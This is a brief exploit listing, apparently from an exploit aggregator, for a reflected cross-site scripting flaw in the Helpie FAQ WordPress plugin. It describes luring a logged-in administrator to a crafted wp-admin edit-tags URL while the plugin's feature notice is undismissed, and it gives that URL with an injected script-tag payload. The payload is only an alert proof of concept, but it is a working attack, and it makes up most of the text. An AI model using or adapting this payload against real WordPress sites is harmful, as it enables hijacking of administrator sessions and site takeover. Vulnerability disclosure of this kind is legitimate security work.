## https://sploitus.com/exploit?id=WPEX-ID:4E5D993F-CC20-4B5F-B4C8-C13004151828
Make a logged-in admin open one of the URLs below when the feature notice has not been dismissed yet
https://example.com/wp-admin/edit-tags.php?taxonomy=helpie_faq_group&post_type=helpie_faq&"><script>alert(/XSS/)</script>